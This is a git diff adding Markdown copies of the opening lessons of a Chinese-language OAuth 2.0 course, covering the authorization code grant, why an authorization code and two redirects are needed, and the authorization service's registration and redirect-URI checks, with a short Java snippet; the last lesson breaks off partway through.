first commit

专栏/OAuth2.0实战课/00开篇词为什么要学OAuth2.0？.md

@@ -0,0 +1,75 @@
+
+                            
+                            因收到Google相关通知，网站将会择期关闭。相关通知内容
+                            
+                            
+                            00 开篇词 为什么要学OAuth 2.0？
+                            　　开篇词 为什么要学OAuth 2.0？你好，我是王新栋，是京东的资深架构师，主要负责京东商家开放平台的架构工作。在接下来的时间里，我将带你一起学习 OAuth 2.0 这个授权协议。
+
+　　我从 2014 年加入京东，便开始接触开放平台相关的技术，主要包括网关、授权两块的内容。在刚开始的几年时间里面，我一直都认为网关是开放平台的核心，起到 “中流砥柱” 的作用，毕竟网关要承载整个开放平台的调用量，同时还要有足够的系统容错能力。
+
+　　但随着对开放平台理解的不断深入，我们要想在开放平台支持更多样的业务场景，我才发现网关和授权同样重要，相当于开放平台的 “两条腿”。
+
+　　而对于授权 “这条腿”，它不仅要像网关一样要承载访问量，还要同时兼顾业务场景的发展。什么样的业务场景呢？类似的微信登录就是其中之一，越来越多的第三方应用都在向用户提供使用微信登录的解决方案，来减少用户注册的繁琐操作。而这个解决方案的背后原理，也是我们这门课要讲到的 OAuth 2.0 技术。
+
+OAuth 2.0 是什么？
+
+　　那，OAuth 2.0 到底是什么呢？我们先从字面上来分析下。OAuth 2.0 一词中的 “Auth” 表示 “授权”，字母 “O” 是 Open 的简称，表示 “开放” ，连在一起就表示 “开放授权”。这也是为什么我们使用 OAuth 的场景，通常发生在开放平台的环境下。
+
+　　看到这里，你可能会说应该还有 OAuth 1.0 吧。没错，OAuth 2.0 之前就是 OAuth 1.0。现在，我就来和你说说这两个版本的 OAuth 有什么区别吧。
+
+　　在 OAuth 1.0 的时候，它有个 “很大的愿望” 就是想用一套授权机制来应对现实中的所有场景，比如 Web 应用场景、移动 App 应用场景、官方应用场景等等，但是这些场景并不是完全相同的。比如官方应用场景，你说还需要让用户来授权吗？如果需要，始终使用一套授权机制给用户带来的体验，是好还是坏呢？
+
+　　到了 OAuth 2.0 的时候，就解决了 OAuth 1.0 面临的这种“尴尬”。OAuth 2.0 不再局限于一种授权机制，它扩充了授权许可机制类型，有了授权码许可机制、客户端凭据机制、资源拥有者凭据机制和隐式许可机制。这样的 OAuth 机制就能够很灵活地适应现实中的各种场景，比如移动应用的场景、官方应用的场景，等等。
+
+　　此外，OAuth 1.0 的弊端还包括安全上的固化攻击等问题，因此 OAuth 1.0 现在已经是废弃状态了。对于我们来讲，直接使用 OAuth 2.0 就可以了。
+
+为什么会有这门课？
+
+　　但其实呢，OAuth 2.0 并不是一门新的技术，从 2007 年 OAuth 1.0 面世，到 2011 年发布 OAuth 2.0 草案，互联网上已经有很多关于 OAuth 的资料了。所以，在我初次接触 OAuth 2.0 去查阅这些零散的资料时，觉得 OAuth 2.0 很简单啊，不就是授权吗，看两篇文章就够了啊。
+
+　　但是，看似简单的 OAuth 2.0 却又让我望而却步，在如何使用授权码流程上踌躇不前。比如，在 Web 应用中到底应该怎么使用授权码流程，移动 App 中还能使用授权码流程吗？当我带着这些问题尝试到网上搜索资料时，那些不成体系的资料着实也让我走了不少弯路。不知道你是不是也被下面问题困扰着：
+
+　　我要开发一个 Web 应用，当使用 OAuth 2.0 的时候，担心授权码被拦截，却因为没有较好的解决方法而一筹莫展。
+
+　　我要开发一款移动 App，当使用 OAuth 2.0 的时候，在确定是否需要 Server 端上，花费了大把的时间。
+
+　　后来我看到《OAuth 2 in Action》这本书，如获至宝。它非常系统地讲解了 OAuth2.0，让我对这个协议框架有了更全面、深刻的认识。也正是这本书给了我足够的勇气，让我能够把自己这些年在开放平台的工作中，所掌握的 OAuth 知识体系梳理一遍。也是在这一刻，我才意识到只要有了方向，就有了厚度。
+
+　　当我开始试着整理出自己这些年掌握的 OAuth 2.0 相关技术、实践，并计划输出的时候，我真真切切地发现，OAuth 2.0 是讲授权没错，但要用对、用好这个协议，绝不是短短两篇文章就能讲清楚的。这也是我做这门课的初衷。
+
+这门课是怎么设计的？
+
+　　在这门课程里，我会分为基础篇和进阶篇两大模块，每个模块都会安排一些实践内容，和你讲清楚 OAuth 2.0。接下来，我就和你解释下为什么要这么安排。
+
+　　第一部分是基础篇，就是你必须要掌握的 OAuth 2.0 的基础知识。在这一模块中，我会和你细致地讲解授权码许可（Authorization Code）类型的流程，包括 OAuth 2.0 内部组件之间的通信方式，以及授权服务、客户端（第三方软件）、受保护资源服务这三个组件的原理。
+
+　　在此基础上，我还会为你讲解其他三种常见许可类型，分别是资源拥有者凭据许可（Resource Owner Password Credentials）、隐式许可（Implicit）、客户端凭据许可（Client Credentials）的原理，以及如何选择适合自己实际场景的授权类型。这样一来，你就能掌握整个 OAuth 2.0 中所有许可类型的运转机制了，并且能够从容地在实际工作环境中使用它们。
+
+　　为了能够把你带入到 OAuth 2.0 的场景中，方便你理解这些概念、流程，我在讲述这些基础内容的时候，会用一个小明使用第三方“小兔打单软件”来打印自己在京东店铺的订单数据的例子，来贯穿始终。
+
+　　我可以告诉你的是，学完基础篇的内容，你就可以把 OAuth 2.0 用到实际的工作场景了。
+
+　　第二部分进阶篇的内容，我会侧重讲一些 OAuth 2.0 “更高级” 的用法，可以让你知道如何更安全地用、扩展地用 OAuth 2.0。
+
+　　所以，这部分内容会包括如何在移动 App 中使用 OAuth 2.0，因使用不当而导致的 OAuth 2.0 安全漏洞有哪些，以及如何利用 OAuth 2.0 实现一个 OpenID Connect 用户身份认证协议。此外，我还邀请了微服务技术领域的专家杨波老师，给我们分享了一个架构案例，基于 OAuth 2.0/JWT 的微服务参考架构。
+
+　　最后，为了配合课程的学习，不让理论过于枯燥，也为了学以致用，我在GitHub上为你准备了一份非常简单、可落地的通过 Java 语言来实现的代码。
+
+　　简单的地方在于，代码中除了基本的 Servlet 技术外，我没有引入任何其它的第三方内容。所以，你只要能够理解 Request 和 Response，就能够理解这份代码。
+
+　　可落地的地方在于，虽然它是一份简单的代码，但它不仅把整个 OAuth 2.0 的组件都跑通了，还包含了实践一个 OIDC 协议的具体实现。当然，我在代码里面还预留了一些 TODO 的地方，你可以结合上下文来自行实践处理。这是一项开源的工程。
+
+　　在这里，我总结了 OAuth 2.0 的知识体系图，你也可以先了解下整个课程的知识结构。
+
+　　
+
+　　这样一来，你学完这门课后，便能在互联网的授权领域练就一双“火眼金睛”，可以发现所有使用过 OAuth 2.0 的痕迹，诸如微信登录的场景。这样，即使你不用抓包分析，也能够洞悉它背后的原理，为今后快速熟知互联网的类似场景打下基础。
+
+　　最后，我还想正式认识一下你。你可以在留言区里做个自我介绍，和我聊聊，你目前学习、使用 OAuth 2.0 的难点、痛点是什么？或者，你也可以聊聊你对 OAuth 2.0、对授权还有哪些独特的思考和体验，欢迎在留言区和我交流讨论。
+
+　　好了，现在就开启我们的 OAuth 2.0 之旅吧。
+
+                        
+                        
+                            

专栏/OAuth2.0实战课/01OAuth2.0是要通过什么方式解决什么问题？.md

@@ -0,0 +1,107 @@
+
+                            
+                            因收到Google相关通知，网站将会择期关闭。相关通知内容
+                            
+                            
+                            01 OAuth 2.0是要通过什么方式解决什么问题？
+                            　　你好，我是王新栋。
+
+　　在课程正式开始之前，我想先问你个问题。第一次使用极客时间 App 的时候，你是直接使用了第三方帐号（比如微信、微博）登录，还是选择了重新注册新用户？如果你选择了重新注册用户，那你还得上传头像、输入用户名等信息。但如果你选择了使用第三方帐号微信来登录，那极客时间会直接使用你微信的这些信息作为基础信息，你就能省心很多。
+
+　　到这里，我估计你会问，这是怎么实现的？微信把我的个人信息给了极客时间，它又是怎么保证我的数据安全的呢？
+
+　　其实，微信这一系列授权背后的原理都可以归到一个词上，那就是 OAuth 2.0。今天这节课，我们就来看看 OAuth 2.0 到底是什么、能干什么以及它是怎么干的。
+
+OAuth 2.0 是什么？
+
+　　用一句话总结来说，OAuth 2.0 就是一种授权协议。那如何理解这里的“授权”呢？
+
+　　我举个咱们生活中的例子。假如你是一名销售人员，你想去百度拜访你的大客户王总。到了百度的大楼之后，保安拦住了你，问你要工牌。你说：“保安大哥啊，我是来拜访王总的，哪里有什么工牌”。保安大哥说：“那你要去前台做个登记”。
+
+　　然后你就赶紧来到前台，前台美女问你是不是做了登记。你说王总秘书昨天有要你的手机号，说是已经做过预约。小姐姐确认之后往你的手机发了个验证码，你把验证码告诉了前台小姐姐之后，她给了你一张门禁卡，于是你就可以开心地去见王总了。
+
+　　你看，这个例子里面就有一次授权。本来你是没有权限进入百度大楼的，但是经过前台小姐姐一系列的验证之后，她发现你确实是来拜访客户的，于是给了你一张临时工牌。这整个过程就是授权。
+
+　　我再举一个电商的场景，你估计更有感觉。假如你是一个卖家，在京东商城开了一个店铺，日常运营中你要将订单打印出来以便给用户发货。但打印这事儿也挺繁琐的，之前你总是手工操作，后来发现有个叫“小兔”的第三方软件，它可以帮你高效率地处理这事。
+
+　　但你想想，小兔是怎么访问到这些订单数据的呢？其实是这样，京东商城提供了开放平台，小兔通过京东商家开放平台的 API 就能访问到用户的订单数据。
+
+　　只要你在软件里点击同意，小兔就可以拿到一个访问令牌，通过访问令牌来获取到你的订单数据帮你干活儿了。你看，这里也是有一次授权。你要是不同意，平台肯定不敢把这些数据给到第三方软件。
+
+为什么用 OAuth 2.0？
+
+　　基于上面两种场景的解决方案，关于授权我们最容易想到的方案就是提供钥匙。比如，你要去百度拜访王总，那前台小姐姐就给你张百度的工牌；小兔要获取你的订单信息，那你就把你的用户名和密码给它。但稍微有些安全意识，我们都不会这样做。
+
+　　因为你有了百度工牌，那以后都可以随时自由地进出了，这显然不是百度想要的。所以，百度有一套完整的机制，通过给你一张临时工牌，实现在保证安全的情况下，还能让你去大楼里面见到王总。相应地，小兔软件请求访问你的订单数据的过程，也会涉及这样一套授权机制，那就是 OAuth 2.0。它通过给小兔软件一个访问令牌，而不是让小兔软件拿着你的用户名和密码，去获取你的订单数据帮你干活儿。
+
+　　其实，除了小兔软件这个场景，在如今的互联网世界里用到 OAuth 2.0 的地方非常多，只是因为它隐藏了实现细节，需要我们多做分析才能发现它。比如，当你使用微信登录其他网站或者 App 的时候，当你开始使用某个小程序的时候，你都在无感知的情况下用到了 OAuth 2.0。
+
+　　那总结来说，OAuth 2.0 这种授权协议，就是保证第三方（软件）只有在获得授权之后，才可以进一步访问授权者的数据。因此，我们常常还会听到一种说法，OAuth 2.0 是一种安全协议。现在你知道了，这种说法也是正确的。
+
+　　现在访问授权者的数据主要是通过 Web API，所以凡是要保护这种对外的 API 时，都需要这样授权的方式。而 OAuth 2.0 的这种颁发访问令牌的机制，是再合适不过的方法了。同时，这样的 Web API 还在持续增加，所以 OAuth 2.0 是目前 Web 上重要的安全手段之一了。
+
+OAuth 2.0 是怎样运转的？
+
+　　现在，我相信你已经对 OAuth 2.0 有了一个整体印象，接下来咱们再看看它是怎么运转的。
+
+　　我们还是来看上面提到的小兔打单软件的例子吧。假如小明在京东上面开了一个店铺，小明要管理他的店铺里面的订单，于是选择了使用小兔软件。
+
+　　现在，让我们把“小明”“小兔软件”“京东商家开放平台”放到一个对话里面，看看“他们”是怎么沟通的吧。
+
+　　小明：“你好，小兔软件。我正在 Google 浏览器上面，需要访问你来帮我处理我在京东商城店铺的订单。”
+
+　　小兔软件：“好的，小明，我需要你给我授权。现在我把你引导到京东商家开放平台上，你在那里给我授权吧。”
+
+　　京东商家开放平台：“你好，小明。我收到了小兔软件跳转过来的请求，现在已经准备好了一个授权页面。你登录并确认后，点击授权页面上面的授权按钮即可。”
+
+　　小明：“好的，京东商家开放平台。我看到了这个授权页面，已经点授权按钮啦😄”
+
+　　京东商家开放平台：“你好，小兔打单软件。我收到了小明的授权，现在要给你生成一个授权码 code 值，我通过浏览器重定向到你的回调 URL 地址上面了。”
+
+　　小兔软件：“好的，京东商家开放平台。我现在从浏览器上拿到了授权码，现在就用这个授权码来请求你，请给我一个访问令牌 access_token 吧。”
+
+　　京东商家开放平台：“好的，小兔打单软件，访问令牌已经发送给你了。”
+
+　　小兔打单软件：“太好了，我现在就可以使用访问令牌来获取小明店铺的订单了。”
+
+　　小明：“我已经能够看到我的订单了，现在就开始打单操作了。”
+
+　　下面，为了帮助你理解，我再用一张图来描述整个过程：
+
+　　
+
+　　小明使用小兔软件打印订单的整体流程
+
+　　再分析下这个流程，我们不难发现小兔软件最终的目的，是要获取一个叫做“访问令牌”的东西。从最后一步也能够看出来，在小兔软件获取到访问令牌之后，才有足够的 “能力” 去请求小明的店铺的订单，也就是才能够帮助小明打印订单。
+
+　　那么，小兔软件是怎么获取访问令牌的值的呢？我们会发现还有一个叫做“授权码”的东西，也就是说小兔软件是拿授权码换取的访问令牌。
+
+　　小兔软件又是怎么拿到授权码的呢？从图中流程刚开始的那一步，我们就会发现，是在小明授权之后，才产生的授权码，上面流程中后续的一切动作，实际上都是在小明对小兔软件授权发生以后才产生的。其中主要的动作，就是生成授权码–> 生成访问令牌–> 使用访问令牌。
+
+　　到这里，我们不难发现，OAuth 2.0 授权的核心就是颁发访问令牌、使用访问令牌，而且不管是哪种类型的授权流程都是这样。你一定要理解，或者记住这句话，它是整个流程的核心。你也可以再回想下，去百度拜访王总的例子。如果你是百度这套机制的设计者的话，会怎么设计这套授权机制呢。想清楚了这个问题，你再去理解令牌、授权码啥的也就简单了。
+
+　　在小兔软件这个例子中呢，我们使用的就是授权码许可（Authorization Code）类型。它是 OAuth 2.0 中最经典、最完备、最安全、应用最广泛的许可类型。除了授权码许可类型外，OAuth 2.0 针对不同的使用场景，还有 3 种基础的许可类型，分别是隐式许可（Implicit）、客户端凭据许可（Client Credentials）、资源拥有者凭据许可（Resource Owner Password Credentials）。相对而言，这 3 种授权许可类型的流程，在流程复杂度和安全性上都有所减弱（我会在第 6 讲，与你详细分析）。
+
+　　因此，在这个课程中，我会频繁用授权码许可类型来举例。至于为什么称它为授权码许可，为什么有两次重定向，以及这种许可类型更详细的通信流程又是怎样的，我会在第 2 讲给你深入分析，你可以先不用关注。
+
+总结
+
+　　好了，今天这节课就到这里。这节课咱们知识点不多，我来回给你举例子，其实就是希望你能理解 OAuth 到底是什么，为什么需要它，以及它大概的运行逻辑是怎样的。总结来说，我需要你记住以下这 3 个关键点：
+
+　　OAuth 2.0 的核心是授权许可，更进一步说就是令牌机制。也就是说，像小兔软件这样的第三方软件只有拿到了京东商家开放平台颁发的访问令牌，也就是得到了授权许可，然后才可以代表用户访问他们的数据。
+
+　　互联网中所有的受保护资源，几乎都是以 Web API 的形式来提供访问的，比如极客时间 App 要获取用户的头像、昵称，小兔软件要获取用户的店铺订单，我们说 OAuth 2.0 与安全相关，是用来保护 Web API 的。另外，第三方软件通过 OAuth 2.0 取得访问权限之后，用户便把这些权限委托给了第三方软件，我们说 OAuth 2.0 是一种委托协议，也没问题。
+
+　　也正因为像小兔这样的第三方软件，每次都是用访问令牌而不是用户名和密码来请求用户的数据，才大大减少了安全风险上的“攻击面”。不然，我们试想一下，每次都带着用户名和密码来访问数量众多的 Web API ，是不是增加了这个“攻击面”。因此，我们说 OAuth 2.0 的核心，就是颁发访问令牌和使用访问令牌。
+
+思考题
+
+　　好了，今天这一讲我们马上要结束了，我给你留个思考题。
+
+　　你可以再花时间想下小兔软件获取用户订单信息的那个场景，如果让你来设计整个的授权流程，你会怎么设计？还有没有更好的方式？
+
+　　欢迎你在留言区分享你的观点，也欢迎你把今天的内容分享给其他朋友，我们一起交流。
+
+                        
+                        
+                            

专栏/OAuth2.0实战课/02授权码许可类型中，为什么一定要有授权码？.md

@@ -0,0 +1,145 @@
+
+                            
+                            因收到Google相关通知，网站将会择期关闭。相关通知内容
+                            
+                            
+                            02 授权码许可类型中，为什么一定要有授权码？
+                            　　你好，我是王新栋。
+
+　　在上一讲，我提到了 OAuth 2.0 的授权码许可类型，在小兔打单软件的例子里面，小兔最终是通过访问令牌请求到小明的店铺里的订单数据。同时呢，我还提到了，这个访问令牌是通过授权码换来的。到这里估计你会问了，为什么要用授权码来换令牌？为什么不能直接颁发访问令牌呢？
+
+　　你可以先停下来想想这个问题。今天咱们这节课，我会带着你深入探究下其中的逻辑。
+
+为什么需要授权码？
+
+　　在讲这个问题之前，我先要和你同步下，在 OAuth 2.0 的体系里面有 4 种角色，按照官方的称呼它们分别是资源拥有者、客户端、授权服务和受保护资源。不过，这里的客户端，我更愿意称其为第三方软件，而且在咱们这个课程中，都是以第三方软件在举例子。所以，在后续的讲解中我统一把它称为第三方软件。
+
+　　所以，你在看官方资料的时候，可以自己对应下。为了便于你理解，我还是拿小兔软件来举例子，将官方的称呼 “照进现实”，对应关系就是，资源拥有者 -> 小明，第三方软件 -> 小兔软件，授权服务 -> 京东商家开放平台的授权服务，受保护资源 -> 小明店铺在京东上面的订单。
+
+　　在理解了这些概念以后，让我们继续。
+
+　　你知道，OAuth 诞生之初就是为了解决 Web 浏览器场景下的授权问题，所以我基于浏览器的场景，在上一讲的小明使用小兔软件打印订单的整体流程的基础上，画了一个授权码许可类型的序列图。
+
+　　当然了，这里还是有小兔软件来继续陪伴着我们，不过这次为了能够更好地表述授权码许可流程，我会把小兔软件的前端和后端分开展示，并把京东商家开放平台的系统按照 OAuth 2.0 的组件拆分成了授权服务和受保护资源服务。如下图所示：
+
+　　
+
+　　图1 以小兔软件为例，授权码许可类型的序列图
+
+　　突然看到这个序列图增加了这么多步骤的时候，你是不是有些紧张？那如果我告诉你再细分的话步骤还要更多，你是不是就更困惑了？
+
+　　不过，别紧张，这没啥关系。一方面，咱们这一讲的重点就是跟授权码相关的流程，你只需关注这里的重点步骤，也就是两次重定向相关的步骤就够了。在下一讲中，我再教你如何将这些步骤进一步拆解。另一方面，我接下来还会用另一种视角来帮助你分析这个流程。
+
+　　我们继续来看这张序列图。从图中看到，在第 4 步授权服务生成了授权码 code，按照一开始我们提出来的问题，如果不要授权码，这一步实际上就可以直接返回访问令牌 access_token 了。
+
+　　按着这个没有授权码的思路继续想，如果这里直接返回访问令牌，那我们肯定不能使用重定向的方式。因为这样会把安全保密性要求极高的访问令牌暴露在浏览器上，从而将会面临访问令牌失窃的安全风险。显然，这是不能被允许的。
+
+　　也就是说，如果没有授权码的话，我们就只能把访问令牌发送给第三方软件小兔的后端服务。按照这样的逻辑，上面的流程图就会变成下面这样：
+
+　　
+
+　　图2 如果没有授权码，直接把访问令牌发送给第三方软件小兔的后端服务
+
+　　到这里，看起来天衣无缝。小明访问小兔软件，小兔软件说要打单你得给我授权，不然京东不干，然后小兔软件就引导小明跳转到了京东的授权服务。到授权服务之后，京东商家开放平台验证了小兔的合法性以及小明的登录状态后，生成了授权页面。紧接着，小明赶紧点击同意授权，这时候，京东商家开放平台知道可以把小明的订单数据给小兔软件。
+
+　　于是，京东商家开放平台没含糊，赶紧生成访问令牌 access_token，并且通过后端服务的方式返回给了小兔软件。这时候，小兔软件就能正常工作了。
+
+　　这样，问题就来了，什么问题呢？当小明被浏览器重定向到授权服务上之后，小明跟小兔软件之间的 “连接” 就断了，相当于此时此刻小明跟授权服务建立了“连接”后，将一直“停留在授权服务的页面上”。你会看到图 2 中问号处的时序上，小明再也没有重新“连接”到小兔软件。
+
+　　但是，这个时候小兔软件已经拿到了小明授权之后的访问令牌，也使用访问令牌获取到了小明店铺里的订单数据。这时，考虑到“小明的感受”，小兔软件应该要通知到小明，但是如何做呢？现在“连接断了”，这事儿恐怕就没那么容易了。
+
+　　OK，为了让小兔软件能很容易地通知到小明，还必须让小明跟小兔软件重新建立起 “连接”。这就是我们看到的第二次重定向，小明授权之后，又重新重定向回到了小兔软件的地址上，这样小明就跟小兔软件有了新的 “连接”。
+
+　　到这里，你就能理解在授权码许可的流程中，为什么需要两次重定向了吧。
+
+　　为了重新建立起这样的一次连接，我们又不能让访问令牌暴露出去，就有了这样一个临时的、间接的凭证：授权码。因为小兔软件最终要拿到的是安全保密性要求极高的访问令牌，并不是授权码，而授权码是可以暴露在浏览器上面的。这样有了授权码的参与，访问令牌可以在后端服务之间传输，同时呢还可以重新建立小明与小兔软件之间的“连接”。这样通过一个授权码，既“照顾”到了小明的体验，又“照顾”了通信的安全。
+
+　　这下，你就知道为什么要有授权码了吧。
+
+　　那么，在执行授权码流程的时候，授权码和访问令牌在小兔软件和授权服务之间到底是怎么流转的呢？要回答这个问题，就需要继续分析一下授权码许可类型的通信过程了。
+
+授权码许可类型的通信过程
+
+　　图 1 的通信过程中标识出来的步骤就有 9 个，一步步地去分析看似会很复杂，所以我会用另一个维度来分析以帮助你理解，也就是从直接通信和间接通信的维度来分析。这里所谓的间接通信就是指获取授权码的交互，而直接通信就是指通过授权码换取访问令牌的交互。
+
+　　接下来，我们就一起分析下吧，看看哪些是间接通信，哪些又是直接通信。
+
+间接通信
+
+　　我们先分析下为什么是“间接”。
+
+　　我们把图 1 中获取授权码 code 的流程 “放大”，并换个角度来看一看，也就是将浏览器这个代理放到第三方软件小兔和授权服务中间。于是，我们来到了下面这张图：
+
+　　
+
+　　图3 获取授权码的交互过程
+
+　　这个过程，仿佛有这样的一段对话。
+
+　　小兔软件：“好的，我把你引到授权服务那里，我需要授权服务给我一个授权码。”
+
+　　不知道你注意到没有，第三方软件小兔和授权服务之间，并没有发生直接的通信，而是通过浏览器这个“中间人” 来 “搭线”的。因此，我们说这是一个间接通信的方式。
+
+直接通信
+
+　　那我们再分析下，授权码换取访问令牌的交互，为什么是“直接”的。我们再把图 1 中获取访问令牌的流程“放大”，就得到了下面的图示：
+
+　　
+
+　　图4 授权码换取访问令牌的交互过程
+
+　　相比获取授权码过程的间接通信，获取访问令牌的直接通信就比较容易理解了，就是第三方软件小兔获取到授权码 code 值后，向授权服务发起获取访问令牌 access_token 的通信请求。这个请求是第三方软件服务器跟授权服务的服务器之间的通信，都是在后端服务器之间的请求和响应，因此也叫作后端通信。
+
+两个 “一伙”
+
+　　了解了上面的通信方式之后，不知道你有没有意识到，OAuth 2.0 中的 4 个角色是 “两两站队” 的：资源拥有者和第三方软件“站在一起”，因为第三方软件要代表资源拥有者去访问受保护资源；授权服务和受保护资源“站在一起”，因为授权服务负责颁发访问令牌，受保护资源负责接收并验证访问令牌。
+
+　　
+
+　　图5 OAuth 2.0 中的4个角色是“两两站队”
+
+　　讲到这里的时候，你会发现在这一讲，介绍授权码流程的时候我都是以浏览器参与的场景来讲的，那么浏览器一定要参与到这个流程中吗？
+
+　　其实，授权码许可流程，不一定要有浏览器的参与。接下来，我们就继续分析下其中的逻辑。
+
+一定要有浏览器吗？
+
+　　OAuth 2.0 发展之初，开放生态环境相对单薄，以浏览器为代理的 Web 应用居多，授权码许可类型 “理所当然” 地被应用到了通过浏览器才能访问的 Web 应用中。
+
+　　但实际上，OAuth 2.0 是一个授权理念，或者说是一种授权思维。它的授权码模式的思维可以移植到很多场景中，比如微信小程序。在开发微信小程序应用时，我们通过授权码模式获取用户登录信息，官方文档的地址示例中给出的 grant_type=authorization_code ，就没有用到浏览器。
+
+　　根据微信官方文档描述，开发者获取用户登录态信息的过程正是一个授权码的许可流程：
+
+　　首先，开发者通过 wx.login(Object object) 方法获取到登录凭证 code 值，这一步的流程是在小程序内部通过调用微信提供的 SDK 实现；
+
+　　然后，再通过该 code 值换取用户的 session_key 等信息，也就是官方文档的 auth.code2Session 方法，同时该方法也是被强烈建议通过开发者的后端服务来调用的。
+
+　　你可以看到，这个过程并没有使用到浏览器，但确实按照授权码许可的思想走了一个完整的授权码许可流程。也就是说，先通过小程序前端获取到 code 值，再通过小程序的后端服务使用 code 值换取 session_key 等信息，只不过是访问令牌 access_token 的值被换成了 session_key。
+
+　　你看，这整个过程体现的就是授权码许可流程的思想。
+
+总结
+
+　　这节课又接近尾声了，我再带你回顾下重点内容。
+
+　　今天，我从为什么需要授权码这个问题开始讲起，并通过授权码把授权码许可流程整体的通信过程串了一遍，提到了授权码这种方式解决的问题，也提到了授权码流程的通信方式。总结来说，我需要你记住以下两点。
+
+　　授权码许可流程有两种通信方式。一种是前端通信，因为它通过浏览器促成了授权码的交互流程，比如京东商家开放平台的授权服务生成授权码发送到浏览器，第三方软件小兔从浏览器获取授权码。正因为获取授权码的时候小兔软件和授权服务并没有发生直接的联系，也叫做间接通信。另外一种是后端通信，在小兔软件获取到授权码之后，在后端服务直接发起换取访问令牌的请求，也叫做直接通信。
+
+　　在 OAuth 2.0 中，访问令牌被要求有极高的安全保密性，因此我们不能让它暴露在浏览器上面，只能通过第三方软件（比如小兔）的后端服务来获取和使用，以最大限度地保障访问令牌的安全性。正因为访问令牌的这种安全要求特性，当需要前端通信，比如浏览器上面的流转的时候，OAuth 2.0 才又提供了一个临时的凭证：授权码。通过授权码的方式，可以让用户小明在授权服务上给小兔授权之后，还能重新回到小兔的操作页面上。这样，在保障安全性的情况下，提升了小明在小兔上的体验。
+
+　　从授权码许可流程中就可以看出来，它完美地将 OAuth 2.0 的 4 个角色组织了起来，并保证了它们之间的顺畅通信。它提出的这种结构和思想都可以被迁移到其他环境或者协议上，比如在微信小程序中使用授权码许可。
+
+　　不过，也正是因为有了授权码的参与，才使得授权码许可要比其他授权许可类型，在授权的流程上多出了好多步骤，让授权码许可类型成为了 OAuth 2.0 体系中迄今流程最完备、安全性最高的授权流程。在接下来的两讲中，我还会为你重点讲解授权码许可类型下的授权服务。
+
+思考题
+
+　　好了，今天这一讲我们马上要结束了，我给你留个思考题。
+
+　　关于不需要浏览器参与的授权码许可流程，你还能列举出更多的应用场景吗？
+
+　　欢迎你在留言区分享你的观点，也欢迎你把今天的内容分享给其他朋友，我们一起交流。
+
+                        
+                        
+                            

专栏/OAuth2.0实战课/03授权服务：授权码和访问令牌的颁发流程是怎样的？.md

@@ -0,0 +1,299 @@
+
+                            
+                            因收到Google相关通知，网站将会择期关闭。相关通知内容
+                            
+                            
+                            03 授权服务：授权码和访问令牌的颁发流程是怎样的？
+                            　　你好，我是王新栋。
+
+　　在上一讲，我从为什么需要授权码这个问题开始，为你串了一遍授权码许可流程整体的通信过程。在接下来的三讲中，我会着重为你讲解关于授权服务的工作流程、授权过程中的令牌，以及如何接入 OAuth 2.0。这样一来，你就可以吃透授权码许可这一最经典、最完备、最常用的授权流程了，以后再处理授权相关的逻辑就更得心应手了。现在呢，让我们开始这一讲。
+
+　　在介绍授权码许可类型时，我提到了很多次 “授权服务”。一句话概括，授权服务就是负责颁发访问令牌的服务。更进一步地讲，OAuth 2.0 的核心是授权服务，而授权服务的核心就是令牌。
+
+　　为什么这么说呢？当第三方软件比如小兔，要想获取小明在京东店铺的订单，就必须先从京东商家开放平台的授权服务那里获取访问令牌，进而通过访问令牌来 “代表” 小明去请求小明的订单数据。这不恰恰就是整个 OAuth 2.0 授权体系的核心吗？
+
+　　那么，授权服务到底是怎么生成访问令牌的，这其中包含了哪些操作呢？还有一个问题是，访问令牌过期了而用户又不在场的情况下，又如何重新生成访问令牌呢？
+
+　　带着这两个问题，我们就以授权码许可类型为例，一起深入探索下授权服务这个核心组件吧。
+
+授权服务的工作过程
+
+　　开始之前，你还是要先回想下小明给小兔软件授权订单数据的整个流程。
+
+　　我们说小兔软件先要让小明去京东商家开放平台那里给它授权数据，那这里是不是你觉得很奇怪？你总不能说，“嘿，京东，你把数据给小兔用吧”，那京东肯定会回复说，“小明，小兔是谁啊，没在咱家备过案，我不能给他，万一是骗子呢？”
+
+　　对吧，你想想是不是这个逻辑。所以，授权这个大动作的前提，肯定是小兔要去平台那里“备案”，也就是注册。注册完后，京东商家开放平台就会给小兔软件 app_id 和 app_secret 等信息，以方便后面授权时的各种身份校验。
+
+　　同时，注册的时候，第三方软件也会请求受保护资源的可访问范围。比如，小兔能否获取小明店铺 3 个月以前的订单，能否获取每条订单的所有字段信息等等。这个权限范围，就是 scope。后面呢，我还会详细讲述范围控制。
+
+　　文字说起来有点抽象，咱们还是直接上代码吧。关于注册后的数据存储，我们使用如下 Java 代码来模拟：
+
+Map<String,String> appMap =  new HashMap<String, String>();
+appMap.put("app_id","APPID_RABBIT");
+appMap.put("app_secret","APPSECRET_RABBIT");
+appMap.put("redirect_uri","http://localhost:8080/AppServlet-ch03");
+appMap.put("scope","nickname address pic");
+
+
+　　备完案之后，咱们接着继续前进。小明过来让平台把他的订单数据给小兔，平台咔咔一查，对了下暗号，发现小兔是合法的，于是就要推进下一步了。
+
+　　咱们上节课讲过，在授权码许可类型中，授权服务的工作，可以划分为两大部分，一个是颁发授权码 code，一个是颁发访问令牌 access_token。为了更能表达授权码和访问令牌的存在，我在图中用深色将其标注了出来：
+
+　　
+
+　　我们先看看颁发授权码 code 的流程。
+
+过程一：颁发授权码 code
+
+　　在这个过程中，授权服务需要完成两部分工作，分别是准备工作和生成授权码 code。
+
+　　你可能会问了，这个“准备”都包括哪些工作？我们可以想到，小明在给第三方软件小兔打单软件进行授权的时候，会看到授权页面上有一个授权按钮，但是授权服务在小明看到这个授权按钮之前，实际上已经做了一系列动作。
+
+　　这些动作，就是所谓的准备工作，包括验证基本信息、验证权限范围（第一次）和生成授权请求页面这三步。我们具体分析下。
+
+　　第一步，验证基本信息。
+
+　　验证基本信息，包括对第三方软件小兔合法性和回调地址合法性的校验。
+
+　　在 Web 浏览器环境下，颁发 code 的整个请求过程，都是浏览器通过前端通信来完成，这就意味着所有信息都有被冒充的风险。因此，授权服务必须对第三方软件的存在性做判断。
+
+　　同样，回调地址也是可以被伪造的。比如，不法分子将其伪装成钓鱼页面，或者是带有恶意攻击性的软件下载页面。因此从安全上考虑，授权服务需要对回调地址做基本的校验。
+
+if(!appMap.get("redirect_uri").equals(redirectUri)){
+}
+
+
+　　在授权服务的程序中，这两步验证通过后，就会生成或者响应一个页面（属于授权服务器上的页面），以提示小明进行授权。
+
+　　第二步，验证权限范围（第一次）。
+
